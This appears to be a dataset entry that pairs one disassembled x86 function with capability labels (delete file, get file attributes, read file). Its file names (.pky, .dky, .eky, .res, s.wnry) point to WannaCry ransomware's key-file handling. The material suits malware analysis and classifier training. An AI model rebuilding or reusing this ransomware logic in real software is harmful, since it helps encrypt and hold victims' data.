Function at 0x401306
Capabilities:
Delete file
Get file attributes
Read file on windows

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4134a6
push eax
mov dword fs:[0], esp
sub esp, 0x9e0
mov eax, dword [0x42189c]
lea edx, [esp + 0x48]
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, dword [esi + 0xa4]
lea ebx, [eax + 0x50c]
push ecx
push str._08X.pky
push edx
call edi
mov eax, dword [esi + 0xa4]
add esp, 0xc
lea ecx, [esp + 0x10]
push eax
push str._08X.dky
push ecx
call edi
add esp, 0xc
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
or ebp, 0xffffffff
cmp eax, ebp
je 0x4013b0
lea ecx, [esp + 0x30]
call fcn.00404640
lea eax, [esp + 0x10]
lea ecx, [esp + 0x58]
push eax
push ecx
lea ecx, [esp + 0x38]
mov dword [esp + 0xa00], 0
call fcn.004047c0
test eax, eax
je 0x401395
mov dword [esi + 0xa8], 2
mov dword [esp + 0x9f8], ebp
lea ecx, [esp + 0x30]
jmp 0x4015d3
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x30]
mov dword [esp + 0x9f8], ebp
call fcn.00404690
mov ecx, 0x21
xor eax, eax
lea edi, [esp + 0x16c]
mov dword [esp + 0x168], 0
push 0x41fb84
push str.00000000.res
rep stosd dword es:[edi], eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
jne 0x4013ef
mov dword [esi + 0xa8], ebp
jmp 0x4015d8
mov ebp, dword [sym.imp.MSVCRT.dll_fread]
push edi
push 1
lea eax, [esp + 0x170]
push 0x88
push eax
call ebp
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
mov ecx, 0x21
xor eax, eax
lea edi, [esp + 0xf8]
mov dword [esp + 0xf4], 0
rep stosd dword es:[edi], eax
mov ecx, dword [esi + 0xa4]
add esp, 0x14
lea edx, [esp + 0xc0]
push ecx
push str._08X.res
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0xcc]
push 0x41fb84
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 0x14
test edi, edi
jne 0x401471
mov dword [esi + 0xa8], 0xffffffff
jmp 0x4015d8
push edi
push 1
lea ecx, [esp + 0xe8]
push 0x88
push ecx
call ebp
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
mov dl, byte [0x421798]
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x205]
mov byte [esp + 0x204], dl
add esp, 0x14
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esi + 0xa4]
lea ecx, [esp + 0xa0]
push eax
push str._08X.eky
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [esp + 0xac]
push 0x41fb84
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 0x14
test edi, edi
jne 0x4014f2
mov dword [esi + 0xa8], 0xffffffff
jmp 0x4015d8
push edi
push 0x800
lea eax, [esp + 0x1f8]
push 1
push eax
call ebp
push edi
mov ebp, eax
call dword [sym.imp.MSVCRT.dll_fclose]
lea ecx, [ebx + 0x242]
lea edx, [ebx + 0x1de]
push ecx
push edx
push str.s.wnry
call fcn.0040be90
mov eax, dword [0x42189c]
mov edx, dword [esi + 0x20]
push edx
lea edx, [esp + 0x34]
mov ecx, dword [eax + 0x81c]
mov eax, dword [eax + 0x818]
push edx
push eax
mov eax, dword [esp + 0x114]
push ecx
lea ecx, [ebx + 0xb2]
lea edx, [esp + 0x220]
push ecx
push ebp
push edx
lea ecx, [esp + 0x11c]
push eax
lea edx, [esp + 0x1a8]
push ecx
add ebx, 0xe4
push edx
push ebx
call fcn.0040c240
add esp, 0x4c
mov edi, eax
call fcn.0040c670
test edi, edi
jl 0x4015d8
lea ecx, [esp + 0x78]
call fcn.00404640
lea eax, [esp + 0x10]
lea ecx, [esp + 0x58]
push eax
mov edi, 1
push ecx
lea ecx, [esp + 0x80]
mov dword [esp + 0xa00], edi
call fcn.004047c0
test eax, eax
je 0x4015be
mov dword [esi + 0xa8], 2
jmp 0x4015c4
mov dword [esi + 0xa8], edi
mov dword [esp + 0x9f8], 0xffffffff
lea ecx, [esp + 0x78]
call fcn.00404690
mov ecx, dword [esp + 0x9f0]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x9ec
ret